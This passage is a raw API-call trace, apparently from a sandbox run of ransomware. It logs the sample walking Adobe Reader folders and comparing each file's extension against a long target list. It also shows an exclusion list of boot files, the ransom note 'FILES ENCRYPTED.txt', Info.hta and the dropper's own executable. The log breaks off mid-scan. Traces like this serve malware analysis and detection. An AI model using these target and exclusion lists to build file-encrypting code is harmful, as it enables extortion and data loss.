	[0173.008] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\ru-ru") returned 114
	[0173.008] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\ru-ru\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140c18
	[0173.008] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0173.008] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0173.008] lstrlenW (lpString="ui-strings.js") returned 13
	[0173.008] lstrlenW (lpString=".1cd") returned 4
	[0173.008] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0173.008] lstrlenW (lpString=".3ds") returned 4
	[0173.008] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0173.008] lstrlenW (lpString=".3fr") returned 4
	[0173.008] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0173.008] lstrlenW (lpString=".3g2") returned 4
	[0173.008] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0173.008] lstrlenW (lpString=".3gp") returned 4
	[0173.008] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0173.008] lstrlenW (lpString=".7z") returned 3
	[0173.008] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0173.008] lstrlenW (lpString=".accda") returned 6
	[0173.008] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0173.008] lstrlenW (lpString=".accdb") returned 6
	[0173.008] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0173.008] lstrlenW (lpString=".accdc") returned 6
	[0173.008] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0173.009] lstrlenW (lpString=".accde") returned 6
	[0173.009] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0173.009] lstrlenW (lpString=".accdt") returned 6
	[0173.009] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0173.009] lstrlenW (lpString=".accdw") returned 6
	[0173.009] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0173.009] lstrlenW (lpString=".adb") returned 4
	[0173.009] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0173.009] lstrlenW (lpString=".adp") returned 4
	[0173.009] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0173.009] lstrlenW (lpString=".ai") returned 3
	[0173.009] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0173.009] lstrlenW (lpString=".ai3") returned 4
	[0173.009] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0173.009] lstrlenW (lpString=".ai4") returned 4
	[0173.009] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0173.009] lstrlenW (lpString=".ai5") returned 4
	[0173.009] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0173.009] lstrlenW (lpString=".ai6") returned 4
	[0173.009] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0173.009] lstrlenW (lpString=".ai7") returned 4
	[0173.009] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0173.009] lstrlenW (lpString=".ai8") returned 4
	[0173.009] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0173.009] lstrlenW (lpString=".anim") returned 5
	[0173.009] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0173.009] lstrlenW (lpString=".arw") returned 4
	[0173.009] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0173.010] lstrlenW (lpString=".as") returned 3
	[0173.010] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0173.010] lstrlenW (lpString=".asa") returned 4
	[0173.010] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0173.010] lstrlenW (lpString=".asc") returned 4
	[0173.010] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0173.010] lstrlenW (lpString=".ascx") returned 5
	[0173.010] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0173.010] lstrlenW (lpString=".asm") returned 4
	[0173.010] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0173.010] lstrlenW (lpString=".asmx") returned 5
	[0173.010] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0173.010] lstrlenW (lpString=".asp") returned 4
	[0173.010] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0173.010] lstrlenW (lpString=".aspx") returned 5
	[0173.010] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0173.010] lstrlenW (lpString=".asr") returned 4
	[0173.010] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0173.010] lstrlenW (lpString=".asx") returned 4
	[0173.010] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0173.010] lstrlenW (lpString=".avi") returned 4
	[0173.010] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0173.010] lstrlenW (lpString=".avs") returned 4
	[0173.010] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0173.010] lstrlenW (lpString=".backup") returned 7
	[0173.010] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0173.010] lstrlenW (lpString=".bak") returned 4
	[0173.010] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0173.010] lstrlenW (lpString=".bay") returned 4
	[0173.010] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0173.010] lstrlenW (lpString=".bd") returned 3
	[0173.010] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0173.010] lstrlenW (lpString=".bin") returned 4
	[0173.010] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0173.011] lstrlenW (lpString=".bmp") returned 4
	[0173.011] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0173.011] lstrlenW (lpString=".bz2") returned 4
	[0173.011] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0173.011] lstrlenW (lpString=".c") returned 2
	[0173.011] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0173.011] lstrlenW (lpString=".cdr") returned 4
	[0173.011] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0173.011] lstrlenW (lpString=".cer") returned 4
	[0173.011] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0173.011] lstrlenW (lpString=".cf") returned 3
	[0173.011] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0173.011] lstrlenW (lpString=".cfc") returned 4
	[0173.011] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0173.011] lstrlenW (lpString=".cfm") returned 4
	[0173.011] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0173.011] lstrlenW (lpString=".cfml") returned 5
	[0173.011] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0173.011] lstrlenW (lpString=".cfu") returned 4
	[0173.011] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0173.011] lstrlenW (lpString=".chm") returned 4
	[0173.011] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0173.011] lstrlenW (lpString=".cin") returned 4
	[0173.011] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0173.011] lstrlenW (lpString=".class") returned 6
	[0173.011] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0173.011] lstrlenW (lpString=".clx") returned 4
	[0173.011] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0173.011] lstrlenW (lpString=".config") returned 7
	[0173.011] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0173.012] lstrlenW (lpString=".cpp") returned 4
	[0173.012] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0173.012] lstrlenW (lpString=".cr2") returned 4
	[0173.012] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0173.012] lstrlenW (lpString=".crt") returned 4
	[0173.012] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0173.012] lstrlenW (lpString=".crw") returned 4
	[0173.012] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0173.012] lstrlenW (lpString=".cs") returned 3
	[0173.012] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0173.012] lstrlenW (lpString=".css") returned 4
	[0173.012] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0173.012] lstrlenW (lpString=".csv") returned 4
	[0173.012] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0173.012] lstrlenW (lpString=".cub") returned 4
	[0173.012] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0173.012] lstrlenW (lpString=".dae") returned 4
	[0173.012] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0173.012] lstrlenW (lpString=".dat") returned 4
	[0173.012] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0173.012] lstrlenW (lpString=".db") returned 3
	[0173.012] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0173.012] lstrlenW (lpString=".dbf") returned 4
	[0173.012] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0173.012] lstrlenW (lpString=".dbx") returned 4
	[0173.012] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0173.012] lstrlenW (lpString=".dc3") returned 4
	[0173.012] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0173.012] lstrlenW (lpString=".dcm") returned 4
	[0173.012] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0173.012] lstrlenW (lpString=".dcr") returned 4
	[0173.012] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0173.012] lstrlenW (lpString=".der") returned 4
	[0173.012] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0173.013] lstrlenW (lpString=".dib") returned 4
	[0173.013] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0173.013] lstrlenW (lpString=".dic") returned 4
	[0173.013] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0173.013] lstrlenW (lpString=".dif") returned 4
	[0173.013] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0173.013] lstrlenW (lpString=".divx") returned 5
	[0173.013] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0173.013] lstrlenW (lpString=".djvu") returned 5
	[0173.013] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0173.013] lstrlenW (lpString=".dng") returned 4
	[0173.013] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0173.013] lstrlenW (lpString=".doc") returned 4
	[0173.013] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0173.013] lstrlenW (lpString=".docm") returned 5
	[0173.013] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0173.013] lstrlenW (lpString=".docx") returned 5
	[0173.013] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0173.013] lstrlenW (lpString=".dot") returned 4
	[0173.013] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0173.013] lstrlenW (lpString=".dotm") returned 5
	[0173.013] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0173.013] lstrlenW (lpString=".dotx") returned 5
	[0173.013] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0173.013] lstrlenW (lpString=".dpx") returned 4
	[0173.013] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0173.013] lstrlenW (lpString=".dqy") returned 4
	[0173.013] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0173.013] lstrlenW (lpString=".dsn") returned 4
	[0173.013] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0173.014] lstrlenW (lpString=".dt") returned 3
	[0173.014] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0173.014] lstrlenW (lpString=".dtd") returned 4
	[0173.014] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0173.014] lstrlenW (lpString=".dwg") returned 4
	[0173.014] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0173.014] lstrlenW (lpString=".dwt") returned 4
	[0173.014] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0173.014] lstrlenW (lpString=".dx") returned 3
	[0173.014] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0173.014] lstrlenW (lpString=".dxf") returned 4
	[0173.014] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0173.014] lstrlenW (lpString=".edml") returned 5
	[0173.014] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0173.014] lstrlenW (lpString=".efd") returned 4
	[0173.014] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0173.014] lstrlenW (lpString=".elf") returned 4
	[0173.014] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0173.014] lstrlenW (lpString=".emf") returned 4
	[0173.014] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0173.014] lstrlenW (lpString=".emz") returned 4
	[0173.014] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0173.014] lstrlenW (lpString=".epf") returned 4
	[0173.014] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1
	[0173.014] lstrlenW (lpString=".eps") returned 4
	[0173.014] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1
	[0173.014] lstrlenW (lpString=".epsf") returned 5
	[0173.014] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1
	[0173.014] lstrlenW (lpString=".epsp") returned 5
	[0173.014] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1
	[0173.014] lstrlenW (lpString=".erf") returned 4
	[0173.014] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1
	[0173.014] lstrlenW (lpString=".exr") returned 4
	[0173.015] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1
	[0173.015] lstrlenW (lpString=".f4v") returned 4
	[0173.015] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1
	[0173.015] lstrlenW (lpString=".fido") returned 5
	[0173.015] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1
	[0173.015] lstrlenW (lpString=".flm") returned 4
	[0173.015] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1
	[0173.015] lstrlenW (lpString=".flv") returned 4
	[0173.015] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1
	[0173.015] lstrlenW (lpString=".frm") returned 4
	[0173.015] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1
	[0173.015] lstrlenW (lpString=".fxg") returned 4
	[0173.015] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1
	[0173.015] lstrlenW (lpString=".geo") returned 4
	[0173.015] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1
	[0173.015] lstrlenW (lpString=".gif") returned 4
	[0173.015] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1
	[0173.015] lstrlenW (lpString=".grs") returned 4
	[0173.015] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1
	[0173.015] lstrlenW (lpString=".gz") returned 3
	[0173.015] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0173.015] lstrlenW (lpString=".h") returned 2
	[0173.015] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0173.015] lstrlenW (lpString=".hdr") returned 4
	[0173.015] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1
	[0173.015] lstrlenW (lpString=".hpp") returned 4
	[0173.015] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1
	[0173.015] lstrlenW (lpString=".hta") returned 4
	[0173.015] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1
	[0173.015] lstrlenW (lpString=".htc") returned 4
	[0173.015] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1
	[0173.015] lstrlenW (lpString=".htm") returned 4
	[0173.015] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1
	[0173.015] lstrlenW (lpString=".html") returned 5
	[0173.016] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1
	[0173.016] lstrlenW (lpString=".icb") returned 4
	[0173.016] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1
	[0173.016] lstrlenW (lpString=".ics") returned 4
	[0173.016] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1
	[0173.016] lstrlenW (lpString=".iff") returned 4
	[0173.016] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1
	[0173.016] lstrlenW (lpString=".inc") returned 4
	[0173.016] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1
	[0173.016] lstrlenW (lpString=".indd") returned 5
	[0173.016] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1
	[0173.016] lstrlenW (lpString=".ini") returned 4
	[0173.016] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1
	[0173.016] lstrlenW (lpString=".iqy") returned 4
	[0173.016] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1
	[0173.016] lstrlenW (lpString=".j2c") returned 4
	[0173.016] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1
	[0173.016] lstrlenW (lpString=".j2k") returned 4
	[0173.016] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1
	[0173.016] lstrlenW (lpString=".java") returned 5
	[0173.016] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1
	[0173.016] lstrlenW (lpString=".jp2") returned 4
	[0173.016] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1
	[0173.016] lstrlenW (lpString=".jpc") returned 4
	[0173.016] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1
	[0173.016] lstrlenW (lpString=".jpe") returned 4
	[0173.016] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1
	[0173.016] lstrlenW (lpString=".jpeg") returned 5
	[0173.016] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1
	[0173.016] lstrlenW (lpString=".jpf") returned 4
	[0173.016] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1
	[0173.016] lstrlenW (lpString=".jpg") returned 4
	[0173.016] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1
	[0173.016] lstrlenW (lpString=".jpx") returned 4
	[0173.016] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1
	[0173.017] lstrlenW (lpString=".js") returned 3
	[0173.017] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0173.017] lstrlenW (lpString="ui-strings.js") returned 13
	[0173.017] lstrlenW (lpString=".GTF") returned 4
	[0173.017] lstrcmpiW (lpString1=".GTF", lpString2="s.js") returned -1
	[0173.017] lstrlenW (lpString="ui-strings.js") returned 13
	[0173.017] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1
	[0173.017] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1
	[0173.017] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1
	[0173.017] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1
	[0173.017] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1
	[0173.017] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1
	[0173.017] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1
	[0173.017] lstrcmpiW (lpString1="fvppjh.exe", lpString2="ui-strings.js") returned -1
	[0173.017] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\ru-ru\\ui-strings.js") returned 128
	[0173.017] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0
	[0173.017] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0173.017] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.017] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0173.017] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\sk-sk") returned 114
	[0173.017] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\sk-sk") returned 1
	[0173.017] lstrlenW (lpString="sk-sk") returned 5
	[0173.017] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="sk-sk") returned -1
	[0173.017] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4220460
	[0173.017] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\sk-sk") returned 114
	[0173.017] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\digsig\\js\\nls\\sk-sk\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140c18
	[0173.018] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0173.018] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2920, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0173.018] lstrlenW (lpString="ui-strings.js") returned 13
	[0173.018] lstrlenW (lpString=".1cd") returned 4
	[0173.018] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0173.018] lstrlenW (lpString=".3ds") returned 4
	[0173.018] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0173.018] lstrlenW (lpString=".3fr") returned 4
	[0173.018] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0173.018] lstrlenW (lpString=".3g2") returned 4
	[0173.018] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0173.018] lstrlenW (lpString=".3gp") returned 4
	[0173.018] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0173.018] lstrlenW (lpString=".7z") returned 3
	[0173.018] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0173.018] lstrlenW (lpString=".accda") returned 6
	[0173.018] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0173.018] lstrlenW (lpString=".accdb") returned 6
	[0173.018] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0173.018] lstrlenW (lpString=".accdc") returned 6
	[0173.018] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0173.018] lstrlenW (lpString=".accde") returned 6
	[0173.018] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0173.018] lstrlenW (lpString=".accdt") returned 6
	[0173.018] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0173.018] lstrlenW (lpString=".accdw") returned 6
	[0173.018] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0173.019] lstrlenW (lpString=".adb") returned 4
	[0173.019] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0173.019] lstrlenW (lpString=".adp") returned 4
	[0173.019] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0173.019] lstrlenW (lpString=".ai") returned 3
	[0173.019] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0173.019] lstrlenW (lpString=".ai3") returned 4
	[0173.019] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0173.019] lstrlenW (lpString=".ai4") returned 4
	[0173.019] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0173.019] lstrlenW (lpString=".ai5") returned 4
	[0173.019] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0173.019] lstrlenW (lpString=".ai6") returned 4
	[0173.019] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0173.019] lstrlenW (lpString=".ai7") returned 4
	[0173.019] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0173.019] lstrlenW (lpString=".ai8") returned 4
	[0173.019] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0173.019] lstrlenW (lpString=".anim") returned 5
	[0173.019] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0173.019] lstrlenW (lpString=".arw") returned 4
	[0173.019] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0173.019] lstrlenW (lpString=".as") returned 3
	[0173.019] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0173.019] lstrlenW (lpString=".asa") returned 4
